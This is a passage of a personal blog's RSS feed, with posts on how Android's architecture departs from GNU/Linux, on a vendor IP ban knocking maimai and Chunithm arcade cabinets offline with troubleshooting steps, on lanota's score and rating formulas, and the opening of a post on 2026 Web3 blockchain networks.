So the &lt;code&gt;ls&lt;/code&gt; you type on an Android phone and the &lt;code&gt;ls&lt;/code&gt; you type in Arch, although they look the same, &lt;strong&gt;are completely different things underneath&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.3 Killing Off the Compiler&lt;/h3&gt;
&lt;p&gt;Initially, Android, like all Linux, used GNU&apos;s &lt;strong&gt;GCC&lt;/strong&gt; as the official compiler for C/C++ code. But GCC is also a disaster zone for the GPL&lt;/p&gt;
&lt;p&gt;As the Apple-led open-source compiler architecture &lt;strong&gt;LLVM/Clang&lt;/strong&gt; (under the permissive Apache/UIUC licence) matured, Google followed without hesitation. Starting with Android NDK r11 it gradually recommended Clang, and by r18 Google simply &lt;strong&gt;deleted GCC entirely&lt;/strong&gt;. Today&apos;s Android system and its native ecosystem are now completely compiled with LLVM/Clang&lt;/p&gt;
&lt;h2&gt;3. Hardware Abstraction &amp;amp; Driver Refactoring&lt;/h2&gt;
&lt;h3&gt;3.1 Monolithic Kernel&lt;/h3&gt;
&lt;p&gt;Linux is a &lt;strong&gt;Monolithic Kernel&lt;/strong&gt; operating system. This means that in traditional GNU/Linux, &lt;strong&gt;hardware drivers are stuffed directly into Linux kernel space and run there&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This creates a legal time bomb:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The Linux kernel is under GPLv2&lt;/li&gt;
&lt;li&gt;For your driver code to run inside the kernel, it must call the various APIs the kernel provides&lt;/li&gt;
&lt;li&gt;Under the GPL, this constitutes a derivative work&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You must open-source it&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is absolutely unacceptable to major hardware vendors. If they don&apos;t use Android, they&apos;d have to write an operating system from scratch. If they do use Android, their trade secrets would be forced into the open. The situation once fell into a dead end&lt;/p&gt;
&lt;h3&gt;3.2 HAL&lt;/h3&gt;
&lt;p&gt;To break out of this deadlock, Google&apos;s architects forcibly inserted a brand-new concept between the Linux kernel and the upper Android framework: &lt;strong&gt;HAL &lt;code&gt;Hardware Abstraction Layer&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since the GPL only constrains kernel space, &lt;strong&gt;we&apos;ll move the core logic of the drivers out of kernel space and into user space, where the GPL doesn&apos;t apply&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The specific approach is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hardware vendors write only an extremely simple placeholder driver, a Stub, in the Linux kernel. This driver only handles the most basic hardware read/write instructions, and is open-sourced directly&lt;/li&gt;
&lt;li&gt;Hardware vendors write the real control logic, image-processing algorithms and complex scheduling mechanisms as a closed-source dynamic link library (a &lt;code&gt;.so&lt;/code&gt; file), placed in the &lt;strong&gt;HAL layer&lt;/strong&gt; in user space. This part of the code is protected by Apache 2.0 and is fully closed-source&lt;/li&gt;
&lt;li&gt;When you open the phone camera, the upper Android application calls the API -&amp;gt; the system service finds the closed-source &lt;code&gt;.so&lt;/code&gt; library in the HAL layer -&amp;gt; the &lt;code&gt;.so&lt;/code&gt; library then sends simple instructions to the open-source stub in the underlying kernel&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Through this magnificent architectural magic trick, Android perfectly protected the core interests of all the hardware giants&lt;/strong&gt; This is also why, under &lt;code&gt;/vendor/lib/hw/&lt;/code&gt; in an Android phone&apos;s file system, you can see a pile of &lt;code&gt;.so&lt;/code&gt; files provided by Qualcomm or MediaTek whose source code you simply cannot see&lt;/p&gt;
&lt;h3&gt;3.3 Project Treble&lt;/h3&gt;
&lt;p&gt;In the early days, the HAL layer code was bound together with the Android system framework. This meant that every time Google released a new version, vendors had to modify their HAL code again, which led to the extremely notorious &lt;strong&gt;upgrade fragmentation&lt;/strong&gt; of Android phones (vendors couldn&apos;t be bothered to change it, so your phone stayed forever on an old version)&lt;/p&gt;
&lt;p&gt;To solve this problem, Google introduced &lt;strong&gt;Project Treble&lt;/strong&gt; in Android 8.0
They designed an interface definition language called &lt;strong&gt;HIDL/AIDL&lt;/strong&gt;. It amounts to creating a standard socket between the HAL layer and the Android framework&lt;/p&gt;
&lt;p&gt;From then on, hardware vendors&apos; closed-source drivers became completely independent modules (the Vendor partition). When Google upgrades the Android system (the System partition), it only needs to unplug the old one and plug in the new one; the underlying closed-source drivers don&apos;t need a single change to be compatible with the new system&lt;/p&gt;
&lt;h2&gt;4. Complete Overhaul&lt;/h2&gt;
&lt;h3&gt;4.1 Abandoning X11 and Wayland&lt;/h3&gt;
&lt;p&gt;Traditional Linux desktop systems long used &lt;strong&gt;X11&lt;/strong&gt;, and later gradually transitioned to &lt;strong&gt;Wayland&lt;/strong&gt;. X11&apos;s design originated in the 1980s; it supports network transparency (you can project a software GUI from a remote server onto a local computer for display). This design is very suitable for research and server environments, but it is extremely bloated, with huge overhead passed through layer after layer — far too much for a phone screen&lt;/p&gt;
&lt;p&gt;Google decisively abandoned X11 and Wayland, and tailor-made a display framework centred on hardware rendering specifically for mobile devices. Its absolutely core component is called &lt;code&gt;SurfaceFlinger&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Its working principle is extremely simple and efficient: in Android, every app (even every button, every pop-up) is abstracted at the bottom into a layer. The app process is only responsible for drawing its own layer (through OpenGL ES or Vulkan). Then all the layers are handed to &lt;code&gt;SurfaceFlinger&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SurfaceFlinger&lt;/code&gt; is a compositor: it uses the phone&apos;s GPU and a dedicated hardware composer (HWC, Hardware Composer) to overlay these layers like a double cheeseburger (which is very tasty) in an extremely short time (say 16.6 milliseconds), arrange them by Z-order, and push them to the screen in one go — no concept of a mouse pointer, no complex window dragging and overlapping logic (in the early days), everything giving way to full-screen touch and lightning-fast rendering&lt;/p&gt;
&lt;h3&gt;4.2 The Audio Subsystem&lt;/h3&gt;
&lt;p&gt;Traditional GNU/Linux uses the ALSA driver at the bottom, and at the top usually uses &lt;code&gt;PulseAudio&lt;/code&gt; or the newer &lt;code&gt;PipeWire&lt;/code&gt; for audio mixing and routing&lt;/p&gt;
&lt;p&gt;At the bottom, Android still keeps the ALSA driver (because it&apos;s part of the Linux kernel), but Google likewise overturned the entire upper layer and wrote its own audio policy server called &lt;code&gt;AudioFlinger&lt;/code&gt;. It is optimised specifically for the complex scenarios of phones: for example, when you&apos;re listening to music (media volume) and a call suddenly comes in (ringtone volume), it can implement extremely precise audio focus preemption, mixing, hardware decode offload and ultra-low-latency audio processing&lt;/p&gt;
&lt;h2&gt;5. IPC &amp;amp; Process Management&lt;/h2&gt;
&lt;p&gt;This is one of the most refined and greatest designs in Android&apos;s architecture, and the one that completely draws the line between it and traditional Linux&lt;/p&gt;
&lt;p&gt;In an operating system, different programs (processes) cannot casually access each other&apos;s memory (this is called process isolation). But they must cooperate (for example, WeChat needs to call the system camera service), which requires a communication mechanism called &lt;strong&gt;IPC&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.1 Abandoning Traditional System V IPC&lt;/h3&gt;
&lt;p&gt;Traditional Linux provides a rich set of IPC mechanisms: pipes, signals, message queues, shared memory, sockets and so on (collectively System V IPC or POSIX IPC)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Why doesn&apos;t Android like to use them?&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Pipes and message queues: the data must be copied from process A to the kernel, then from the kernel to process B — &lt;strong&gt;two copies, performance too poor&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Shared memory: extremely high performance (zero copies), but extremely complex to control, &lt;strong&gt;with no security validation mechanism&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Sockets: highly general-purpose, but high overhead, usually used for network communication&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.2 Binder&lt;/h3&gt;
&lt;p&gt;To solve the performance and security problems of frequent calls among the hundreds or thousands of apps on a phone, Google drew inspiration from the early BeOS/PalmOS systems and introduced a brand-new mechanism: &lt;strong&gt;Binder&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Without Binder, there would be no Android of today&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Binder cleverly uses memory-mapping technology. When process A sends data, the data only needs to be copied once into a specific memory region in kernel state, and process B can read it directly — safe and fast.&lt;/p&gt;
&lt;p&gt;When app A calls a system service through Binder, the Binder driver &lt;strong&gt;forcibly and automatically stamps app A&apos;s real identity tag (UID/PID)&lt;/strong&gt; at the bottom layer. The system service takes one look at the tag and knows whether you have permission to make the call&lt;/p&gt;
&lt;p&gt;The entire Android system (ActivityManager, PackageManager, the various hardware services) is built entirely on the vast communication network woven by Binder&lt;/p&gt;
&lt;h3&gt;5.3 The Minimal &lt;code&gt;init&lt;/code&gt; vs &lt;code&gt;systemd&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;When we press the phone&apos;s power button and the Linux kernel finishes booting, it needs to run the first user-space process (PID=1) to take over the system and bring up all the services&lt;/p&gt;
&lt;p&gt;GNU/Linux today is basically ruled by &lt;strong&gt;&lt;code&gt;systemd&lt;/code&gt;&lt;/strong&gt;. It is extremely powerful and extremely complex, responsible for mounting file systems, configuring networks, managing background daemons, and even taking over the logging system&lt;/p&gt;
&lt;p&gt;Mobile devices certainly don&apos;t need such a complex general-purpose manager; what they need is extremely fast boot. Therefore, Android hand-wrote a very lean &lt;code&gt;init&lt;/code&gt; in C&lt;/p&gt;
&lt;p&gt;By parsing a series of plain-text script files called &lt;code&gt;init.rc&lt;/code&gt;, it starts the core low-level services (such as &lt;code&gt;vold&lt;/code&gt; mounting and &lt;code&gt;logd&lt;/code&gt; logging) in a strictly prearranged order, configures SELinux permission policies, and then brings up the entire Android framework&lt;/p&gt;
&lt;h2&gt;6. Application Environment and Developer Ecosystem&lt;/h2&gt;
&lt;p&gt;In traditional GNU/Linux systems, you write a piece of C/C++ code, compile it with the GCC compiler into a binary executable (ELF format), then type &lt;code&gt;./app&lt;/code&gt; in the terminal, and the program starts running line by line from the &lt;code&gt;main()&lt;/code&gt; function. The system doesn&apos;t care what you wrote inside; as long as you don&apos;t crash and don&apos;t exceed your privileges, you&apos;re fine&lt;/p&gt;
&lt;p&gt;But Android can&apos;t do that&lt;/p&gt;
&lt;h3&gt;6.1 The Marginalisation of Native ELF&lt;/h3&gt;
&lt;p&gt;In Android, Google &lt;strong&gt;extremely discourages&lt;/strong&gt; (and in the early days strictly forbade) developers from directly writing native C/C++ binary programs and running them as standalone processes in the system&lt;/p&gt;
&lt;p&gt;Why? Traditional C/C++ programs are tightly bound to the CPU architecture (ARM, x86, MIPS). If you hard-code ARM instructions, phones with Intel x86 chips can&apos;t run it&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For a commercial mobile system dedicated to unifying the world, this kind of incompatibility is fatal&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;6.2 The Dalvik / ART Virtual Machine&lt;/h3&gt;
&lt;p&gt;To let developers achieve &lt;strong&gt;write once, run &lt;s&gt;shit&lt;/s&gt; everywhere&lt;/strong&gt;, Google chose &lt;strong&gt;Java&lt;/strong&gt; (and later Kotlin) as the Brahmin of the Android application layer&lt;/p&gt;
&lt;p&gt;The .apk you download doesn&apos;t contain machine code that can run directly on the Linux kernel at all; it has been compiled into a proprietary bytecode (Dex files)
When you open an app, Android starts a dedicated virtual machine environment to interpret or compile this bytecode
*   In the early days (before Android 4.4), it was called the &lt;strong&gt;Dalvik virtual machine&lt;/strong&gt; (using JIT just-in-time compilation, translating code while running)
*   Now it&apos;s called &lt;strong&gt;ART &lt;code&gt;Android Runtime&lt;/code&gt;&lt;/strong&gt;, using a hybrid of AOT ahead-of-time compilation + JIT, translating bytecode directly into machine code when the app is installed or idle, greatly improving smoothness&lt;/p&gt;
&lt;h3&gt;6.3 The Component Model&lt;/h3&gt;
&lt;p&gt;In traditional Linux, when you close a piece of software&apos;s window, or kill it with the &lt;code&gt;kill&lt;/code&gt; command, it&apos;s completely dead
But in Android, an app has no traditional entry and exit at all. Google forces all applications to be split into &lt;strong&gt;the four major components (Activity, Service, Broadcast Receiver, Content Provider)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When your app starts, when it goes to the background, when it is killed to free memory — none of that is decided by the code you wrote; it is &lt;strong&gt;forcibly scheduled&lt;/strong&gt; by the core system service (&lt;code&gt;ActivityManagerService&lt;/code&gt;) according to the phone&apos;s current memory state and foreground interaction needs. This passive lifecycle management simply doesn&apos;t exist on the traditional GNU/Linux desktop&lt;/p&gt;
&lt;h2&gt;7. The Radical Rewrite of the Security Model and Permission Mechanism&lt;/h2&gt;
&lt;p&gt;This chapter is Google&apos;s finest work. How do you achieve phone security for billions of ordinary users worldwide on an operating system originally designed for large servers? Google used an extremely clever graft&lt;/p&gt;
&lt;h3&gt;7.1 The Radical Rewrite of Linux&apos;s Multi-User Mechanism&lt;/h3&gt;
&lt;p&gt;In a traditional Linux server, permission isolation is based on &lt;strong&gt;users&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For example, there are three real people on the server: Chongxi, xi and root. The system assigns them different &lt;strong&gt;UIDs&lt;/strong&gt;. The Linux kernel strictly guarantees at the bottom layer that Chongxi absolutely cannot see the private data in xi&apos;s folder
On a phone, there is usually only one real owner, so wouldn&apos;t Linux&apos;s powerful multi-user isolation mechanism collapse?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google activated its galaxy brain: since there aren&apos;t multiple people, then treat every app installed on the phone as an independent user&lt;/p&gt;
&lt;p&gt;This brings us to &lt;strong&gt;the Android sandbox mechanism:&lt;/strong&gt; when you install Telegram, the system assigns it a UID (say 10045); when you install bilibili, the system assigns it another UID (say 10046)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the perspective of the underlying Linux kernel, WeChat and Taobao are not two pieces of software at all, but &lt;strong&gt;two parallel Linux system users who don&apos;t know each other&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Using the kernel&apos;s native UID isolation mechanism, WeChat naturally cannot read Taobao&apos;s data in its private directory, and Taobao cannot interfere with WeChat&apos;s operation. &lt;strong&gt;This is the Android sandbox&lt;/strong&gt;. Old bottles, new wine&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 Zygote&lt;/h3&gt;
&lt;p&gt;Since every app is in an independent virtual machine and sandbox, then every time you open an app you&apos;d have to restart the huge Java virtual machine environment, and the phone would freeze long before that&lt;/p&gt;
&lt;p&gt;To achieve lightning-fast startup and save memory, Android created a special process called &lt;strong&gt;Zygote&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When the phone boots, the system first starts this Zygote process, and gets all the Java core libraries and the virtual machine environment ready inside it&lt;/li&gt;
&lt;li&gt;When you tap the WeChat icon on the home screen, the system merely sends a command to Zygote. Zygote uses the Linux kernel&apos;s extremely efficient &lt;code&gt;fork()&lt;/code&gt; mechanism to &lt;strong&gt;instantly clone an identical copy of itself&lt;/strong&gt;, and then runs WeChat&apos;s code inside that clone&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All app processes come from the same Zygote, and they share a large amount of underlying memory at the bottom layer (using Copy-on-Write technology), which lets an ancient Android phone with a few hundred megabytes of RAM run several apps at once&lt;/p&gt;
&lt;h3&gt;7.3 SELinux&lt;/h3&gt;
&lt;p&gt;Early Android was frequently rooted by users; once you had su privileges, the sandbox mechanism existed in name only&lt;/p&gt;
&lt;p&gt;To plug this hole, starting from Android 5.0, Google forcibly enabled &lt;strong&gt;SELinux (MAC)&lt;/strong&gt;, developed under the leadership of the US National Security Agency (NSA)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Under SELinux&apos;s rules, &lt;strong&gt;even if you are the root user, you cannot take a shit&lt;/strong&gt;. All operations (reading or writing a file, calling a piece of hardware) must have an explicit whitelist authorisation in the system&apos;s underlying security policy files, otherwise even the kernel will directly refuse to execute them&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. Conclusion&lt;/h2&gt;
&lt;p&gt;After this long ramble, we can finally put a &quot;hat&quot; on Android&lt;/p&gt;
&lt;p&gt;Android of course includes the Linux &lt;strong&gt;kernel&lt;/strong&gt;, but as an &lt;strong&gt;operating system&lt;/strong&gt;, &lt;strong&gt;Android long ago left the GNU/Linux family tree and became the most successful and most complex mobile operating system in human history so far&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>Android</category><category>开发</category><author>Chongxi</author></item><item><title>Huali&apos;s Aggressive IP Policy Has Knocked All maimai and Chunithm Cabinets Offline: Questions Answered</title><link>https://xice.cx/en/posts/maiBanIP/</link><guid isPermaLink="true">https://xice.cx/en/posts/maiBanIP/</guid><description>Huali&apos;s aggressive IP policy has knocked arcade cabinets offline en masse: problem analysis and solutions.</description><pubDate>Fri, 27 Mar 2026 12:11:17 GMT</pubDate><content:encoded>&lt;h2&gt;0. Intro&lt;/h2&gt;
&lt;p&gt;Previously, the maimai official WeChat account had a blocking policy so aggressive that a few taps on maimai NET would get you banned. Recently, Huali seems to have applied the same aggressive IP ban policy to game servers and the like&lt;/p&gt;
&lt;h2&gt;1. Reproducing the Problem&lt;/h2&gt;
&lt;p&gt;After being IP banned, the following symptoms appear&lt;/p&gt;
&lt;p&gt;All &lt;strong&gt;maimai&lt;/strong&gt;, &lt;strong&gt;Chunithm&lt;/strong&gt; and other machines in the arcade &lt;strong&gt;become completely unable to connect to the network&lt;/strong&gt;, and restarting the machines doesn&apos;t fix it. Meanwhile the other &lt;strong&gt;non-Huali machines work normally&lt;/strong&gt;, and phones and computers connected to the arcade&apos;s network still browse the internet fine&lt;/p&gt;
&lt;h2&gt;2. Cause&lt;/h2&gt;
&lt;p&gt;Huali has adopted an aggressive IP blocking policy; the exact threshold is unknown. Once network requests reach a certain volume, the IP is banned. It is currently unclear whether IP ranges get banned as well, which would cause maimai and other machines in the arcade to be treated as hackers by the server and banned&lt;/p&gt;
&lt;h2&gt;3. Solution&lt;/h2&gt;
&lt;p&gt;First, &lt;strong&gt;you absolutely must pressure Huali&lt;/strong&gt;, and have the relevant arcade staff report the situation to Huali. Then try the following in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Restart the optical modem in the arcade&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;If your arcade doesn&apos;t have a static IP, restarting the optical modem usually triggers a fresh dial-up, and the ISP will assign a new IP to your arcade&apos;s outbound broadband, thereby bypassing the IP ban&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;This operation is equivalent to:
Your arcade used to be called xi, and Huali&apos;s firewall blocked everyone named xi outside. Now you restart the optical modem and change your name to Chongxi, and Huali lets you in&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the above doesn&apos;t work, it means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your region&apos;s ISP may have a different allocation policy, and redialing cannot trigger the ISP&apos;s IP reassignment strategy&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Wait up to 48 or 72 hours&lt;/strong&gt;
Domestic ISPs, to prevent users from occupying the same IP address for a long time (in effect using it as a static IP), set a forced-disconnect time threshold in the background, usually 72 hours at most&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;If none of the above works&lt;/strong&gt;, then your arcade most likely has a static IP. There is currently no way to solve this, so please &lt;strong&gt;make sure the arcade technician reports this to Huali&lt;/strong&gt; so they can resolve it&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. Note&lt;/h2&gt;
&lt;p&gt;If you run into a single maimai machine that can&apos;t connect while the others are fine, that is basically a fake grey-out caused by swallowed cookies; just restart the machine&lt;/p&gt;
&lt;p&gt;For disconnections caused by swallowed cookies, see: &lt;a href=&quot;/en/posts/whyMaiDown/&quot;&gt;Why do maimai cabinets keep losing their connection? One article clears up all your questions about the recent maimai server problems&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>网络</category><author>Chongxi</author></item><item><title>Explaining lanota&apos;s Per-chart Score and Rating Calculations</title><link>https://xice.cx/en/posts/lanotaScoreRating/</link><guid isPermaLink="true">https://xice.cx/en/posts/lanotaScoreRating/</guid><description>How lanota&apos;s per-chart score and rating are calculated, with a comparison to similar rhythm games.</description><pubDate>Tue, 17 Mar 2026 17:21:22 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;lanota&apos;s rating system is arguably the most player-friendly one I&apos;ve seen so far&lt;/p&gt;
&lt;h2&gt;1. Per-chart score&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Full score: 1,000,000&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Base score: 920,000&lt;/li&gt;
&lt;li&gt;Combo score: 80,000&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.1 Base score&lt;/h3&gt;
&lt;p&gt;Suppose the chart has N notes; the base score algorithm is very straightforward&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Harmony: 920,000 ÷ N&lt;/li&gt;
&lt;li&gt;Tune: 400,000 ÷ N&lt;/li&gt;
&lt;li&gt;Miss: 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tune is about 43% of Harmony&lt;br /&gt;
That is, for the same note, hitting Harmony earns nearly &lt;strong&gt;2.3x&lt;/strong&gt; the score of hitting Tune&lt;/p&gt;
&lt;h3&gt;1.2 Combo score&lt;/h3&gt;
&lt;p&gt;lanota&apos;s combo score design is quite interesting — it isn&apos;t uniform but decreasing, almost the opposite of most rhythm games&lt;/p&gt;
&lt;p&gt;With each note hit, the combo score that note brings is a little less than the previous one. It keeps decreasing until the song passes 50%, then stays fixed&lt;/p&gt;
&lt;p&gt;The first half gives 60,000, the second half a fixed 20,000. Breaking your combo doesn&apos;t reset it to zero; you need to exceed your previous highest combo to keep gaining&lt;/p&gt;
&lt;p&gt;This design is a huge departure from osu&lt;/p&gt;
&lt;p&gt;osu&apos;s ScoreV1 is a combo multiplier mechanism. Every note you hit increases the combo count, and the current note&apos;s score is multiplied by that combo count. After breaking the combo the multiplier returns to 1, and every subsequent note only earns the base score — the equivalent of &lt;strong&gt;all for nothing&lt;/strong&gt;. Then the problem appeared: with the same accuracy, breaking at the start and breaking at the end could mean a score difference of a hundred thousand miles. So osu! later introduced ScoreV2, greatly reducing the weight of combos and shifting the focus to accuracy&lt;/p&gt;
&lt;p&gt;Lanota&apos;s design avoided this pitfall from the start. Combo score is only 8% of the total, and breaking doesn&apos;t reset it — noxy&apos;s design intent is very clear&lt;/p&gt;
&lt;h3&gt;1.3 How big is the impact of a broken combo?&lt;/h3&gt;
&lt;p&gt;Honestly, combo score is only 8% of the total, and breaking doesn&apos;t reset it to zero, so the actual loss is quite limited. More often it&apos;s that your mentality blows up after the break and then you tilt&lt;/p&gt;
&lt;h2&gt;2. Per-chart Rating&lt;/h2&gt;
&lt;p&gt;The total score only measures how well you did this run, whereas Rating measures &lt;strong&gt;your true skill on this song&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Per-chart Rating = ( &lt;code&gt;Harmony&lt;/code&gt; + &lt;code&gt;Tune&lt;/code&gt;÷3 ) ÷ &lt;code&gt;Note&lt;/code&gt; × ( &lt;code&gt;D&lt;/code&gt; + &lt;code&gt;X&lt;/code&gt; )&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;D is the chart difficulty, X is the difficulty coefficient bonus&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Difficulty&lt;/th&gt;
&lt;th&gt;X&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;16+&lt;/td&gt;
&lt;td&gt;2.25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15+&lt;/td&gt;
&lt;td&gt;1.75&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13+ / 14+ / 16&lt;/td&gt;
&lt;td&gt;1.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Others&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;16 and 16+ are two different levels&lt;/strong&gt;, with a 0.75 difference in X&lt;/p&gt;
&lt;h3&gt;2.1 How to understand it&lt;/h3&gt;
&lt;p&gt;The first half, &lt;code&gt;(H + T÷3) ÷ N&lt;/code&gt;, is your &lt;strong&gt;weighted accuracy&lt;/strong&gt;, capped at 1 and only reachable with all Harmony. Tune is only counted at one third here, even lower than in the total score.&lt;/p&gt;
&lt;p&gt;In other words, Rating demands stricter accuracy than the total score. Two Tunes in the Rating formula add up to less than one Harmony&lt;/p&gt;
&lt;p&gt;Next is difficulty&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ordinary level 15, all Harmony: max Rt = &lt;strong&gt;16&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Level 16, all Harmony: max Rt = &lt;strong&gt;17.5&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Level 16+, all Harmony: max Rt = &lt;strong&gt;18.25&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rating = accuracy × difficulty. If the difficulty isn&apos;t high enough, no matter how good your accuracy is, you hit the ceiling &lt;s&gt;isn&apos;t that obvious&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Compared with Arcaea&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Arcaea&apos;s per-chart PTT formula is quite close to Lanota&apos;s, and the core logic is the same: &lt;strong&gt;chart constant × accuracy correction&lt;/strong&gt;. The higher the constant and the more accurate your play, the bigger the PTT contribution&lt;/p&gt;
&lt;p&gt;But Arcaea has a more aggressive design: if you get EX+ or close to theoretical, the PTT bonus is relatively high, but if your score is low, the PTT contribution can be &lt;strong&gt;negative&lt;/strong&gt;, directly dragging down your overall&lt;/p&gt;
&lt;p&gt;Lanota has no negative mechanism — the minimum is 0 — so it&apos;s much more forgiving by comparison&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Total Rating&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Total Rating = ( B30 + R5 ) ÷ 35&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;B30&lt;/strong&gt;: the sum of your 30 highest per-chart Ratings in history&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;R5&lt;/strong&gt;: the sum of the 5 highest Ratings among your most recent 15 plays&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;B30 is long-term accumulation, R5 is recent&lt;/p&gt;
&lt;p&gt;Compared with Arcaea&apos;s PTT, which is likewise structured as B30 + R10, the logic is almost the same as Lanota&apos;s, except the number of R differs. This dual-track system of &lt;em&gt;historical best + recent results&lt;/em&gt; has indeed become the mainstream approach for many rhythm game Rating systems&lt;/p&gt;
&lt;h3&gt;3.1 The R5 protection mechanism&lt;/h3&gt;
&lt;p&gt;R5 has a protection mechanism: when you set a new record, or your Harmony rate reaches above 95%, if this result would push a higher-rated song out of R5, then it doesn&apos;t update R5&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The game won&apos;t punish your Rating for practising new songs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;noxy&apos;s design here is very player-friendly — it won&apos;t wildly deduct your Rating just because you played badly while practising. lanota and arc both have deduction mechanisms, but on the la side there&apos;s no such thing as protecting your score by disconnecting from the internet&lt;/p&gt;
&lt;h2&gt;4. Conclusion&lt;/h2&gt;
&lt;p&gt;A quick comparison&lt;/p&gt;
&lt;p&gt;osu!&apos;s early design gave combo score a very high weight; the arrival of ScoreV2 was a correction of that direction — after all, it had grown crooked&lt;/p&gt;
&lt;p&gt;Arcaea and lanota both demand high accuracy, but arcaea&apos;s punishment mechanism is harsher, while lanota is more forgiving and friendly. After all, lanota leans more towards immersion; noxy&apos;s intent in designing the scoring system is pretty obvious&lt;/p&gt;
&lt;p&gt;Shameless plug: &lt;a href=&quot;https://lanota.chongxi.us&quot;&gt;lanota score calculator&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>游戏</category><author>Chongxi</author></item><item><title>A Global Railway Network? A Brief Look at the Major Web3 Blockchain Networks of 2026</title><link>https://xice.cx/en/posts/web3Chain2026/</link><guid isPermaLink="true">https://xice.cx/en/posts/web3Chain2026/</guid><description>What Web3&apos;s blockchain networks actually look like in 2026: the patchwork road from private railways to a global network.</description><pubDate>Sun, 15 Mar 2026 12:57:11 GMT</pubDate><content:encoded>&lt;h2&gt;0. Intro&lt;/h2&gt;
&lt;p&gt;In November 2025, I wrote in my blog&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(web3) It is chaotic, savage, full of scammers and bandits. But there really is oil and gold buried under its feet, and the tracks have already been laid&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looking at it now, describing today&apos;s Web3 as &lt;strong&gt;a global railway network pieced together from all kinds of private railways&lt;/strong&gt; is a god-tier metaphor&lt;/p&gt;
